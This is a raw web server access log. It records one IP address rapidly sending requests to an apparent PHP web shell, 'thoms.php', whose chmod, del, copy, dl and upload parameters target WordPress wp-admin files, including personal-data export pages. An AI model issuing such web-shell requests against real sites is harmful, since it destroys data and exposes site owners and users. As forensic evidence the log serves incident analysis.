45.135.193.11 - - [11/Sep/2026:23:34:40 -0400] "GET /thoms.php?chmod=link-add.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=link-add.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:41 -0400] "GET /thoms.php?del=images&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?del=images&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:41 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fadmin.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11451 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fadmin.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:41 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fms-edit.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fms-edit.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:41 -0400] "GET /thoms.php?dl=authorize-application.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?dl=authorize-application.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:41 -0400] "GET /thoms.php?chmod=options-media.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=options-media.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:41 -0400] "GET /thoms.php?dl=theme-install.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28901 "http://163.245.207.76:443/thoms.php?dl=theme-install.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:41 -0400] "GET /thoms.php?dl=upgrade-functions.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?dl=upgrade-functions.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:41 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=export-personal-data.php HTTP/1.1" 200 15225 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=export-personal-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:41 -0400] "GET /thoms.php?dl=menu-header.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28901 "http://163.245.207.76:443/thoms.php?dl=menu-header.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:41 -0400] "GET /betcity.com.tw/wp-admin/revision.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:41 -0400] "GET /thoms.php?del=options-head.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?del=options-head.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:41 -0400] "GET /thoms.php?del=admin-ajax.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28901 "http://163.245.207.76:443/thoms.php?del=admin-ajax.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:41 -0400] "GET /betcity.com.tw/wp-admin/admin-post.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:42 -0400] "GET /thoms.php?chmod=link-manager.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=link-manager.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:42 -0400] "GET /thoms.php?chmod=edit-form-comment.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=edit-form-comment.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:42 -0400] "GET /thoms.php?chmod=import.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11516 "http://163.245.207.76:443/thoms.php?chmod=import.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:42 -0400] "GET /thoms.php?dl=edit-form-comment.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28904 "http://163.245.207.76:443/thoms.php?dl=edit-form-comment.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:42 -0400] "GET /betcity.com.tw/wp-admin/ms-delete-site.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:42 -0400] "GET /thoms.php?del=link-manager.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28901 "http://163.245.207.76:443/thoms.php?del=link-manager.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:42 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=nav-menus.php HTTP/1.1" 200 26257 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=nav-menus.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:42 -0400] "GET /thoms.php?chmod=network.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=network.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:42 -0400] "GET /betcity.com.tw/wp-admin/profile.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:42 -0400] "GET /betcity.com.tw/wp-admin/export-personal-data.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:43 -0400] "GET /thoms.php?chmod=comment.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=comment.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:43 -0400] "GET /thoms.php?dl=media-upload.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?dl=media-upload.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:43 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=ms-users.php HTTP/1.1" 200 12026 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=ms-users.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:43 -0400] "GET /thoms.php?chmod=post.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11515 "http://163.245.207.76:443/thoms.php?chmod=post.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:43 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fuser&p= HTTP/1.1" 200 12349 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fuser&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:43 -0400] "GET /thoms.php?chmod=export.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=export.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:43 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fadmin-ajax.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fadmin-ajax.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:43 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fadmin-functions.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fadmin-functions.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:43 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fload-styles.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fload-styles.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:43 -0400] "GET /thoms.php?chmod=site-health-info.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=site-health-info.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:43 -0400] "GET /thoms.php?dl=custom-header.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?dl=custom-header.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:43 -0400] "GET /thoms.php?dl=plugin-install.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28901 "http://163.245.207.76:443/thoms.php?dl=plugin-install.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:44 -0400] "GET /betcity.com.tw/wp-admin HTTP/1.1" 301 795 "http://163.245.207.76:443/betcity.com.tw/wp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:44 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=customize.php HTTP/1.1" 200 16386 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=customize.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:44 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fedit-tag-form.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fedit-tag-form.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:44 -0400] "GET /betcity.com.tw/wp-admin/ HTTP/1.1" 302 0 "https://163.245.207.76:443/betcity.com.tw/wp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:44 -0400] "GET /thoms.php?chmod=erase-personal-data.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=erase-personal-data.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:44 -0400] "GET /thoms.php?del=export-personal-data.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?del=export-personal-data.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:44 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Foptions-general.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Foptions-general.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:44 -0400] "GET /thoms.php?dl=ms-options.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28826 "http://163.245.207.76:443/thoms.php?dl=ms-options.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:44 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fedit-comments.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11436 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fedit-comments.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:44 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fedit-form-advanced.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fedit-form-advanced.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:44 -0400] "GET /betcity.com.tw/wp-admin/post-new.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:44 -0400] "GET /betcity.com.tw/wp-admin/admin.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:44 -0400] "GET /thoms.php?del=profile.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?del=profile.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:45 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=ms-delete-site.php HTTP/1.1" 200 14056 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=ms-delete-site.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:45 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=async-upload.php HTTP/1.1" 200 14379 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=async-upload.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:45 -0400] "GET /thoms.php?dl=custom-background.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28900 "http://163.245.207.76:443/thoms.php?dl=custom-background.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:45 -0400] "GET /thoms.php?del=edit.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28901 "http://163.245.207.76:443/thoms.php?del=edit.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:45 -0400] "GET /thoms.php?del=widgets.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?del=widgets.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:45 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fcustomize.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fcustomize.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:45 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&upload= HTTP/1.1" 200 12183 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:45 -0400] "GET /thoms.php?dl=freedoms.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?dl=freedoms.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:45 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fplugin-editor.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fplugin-editor.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:45 -0400] "GET /thoms.php?del=options-writing.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28902 "http://163.245.207.76:443/thoms.php?del=options-writing.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:46 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fedit-link-form.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fedit-link-form.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:46 -0400] "GET /betcity.com.tw/wp-admin/network/ HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:46 -0400] "GET /thoms.php?chmod=nav-menus.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=nav-menus.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:46 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fcredits.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fcredits.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:46 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=privacy.php HTTP/1.1" 200 13007 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=privacy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:46 -0400] "GET /thoms.php?chmod=site-editor.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=site-editor.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:46 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-admin&view=term.php HTTP/1.1" 200 12955 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw%2Fwp-admin&view=term.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:46 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fupdate.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11448 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fupdate.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:46 -0400] "GET /thoms.php?chmod=options-privacy.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11506 "http://163.245.207.76:443/thoms.php?chmod=options-privacy.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:46 -0400] "GET /thoms.php?del=user&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 28901 "http://163.245.207.76:443/thoms.php?del=user&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:46 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fpress-this.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw%2Fwp-admin%2Fpress-this.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:34:46 -0400] "GET /thoms.php?chmod=tools.php&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 200 11504 "http://163.245.207.76:443/thoms.php?chmod=tools.php&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
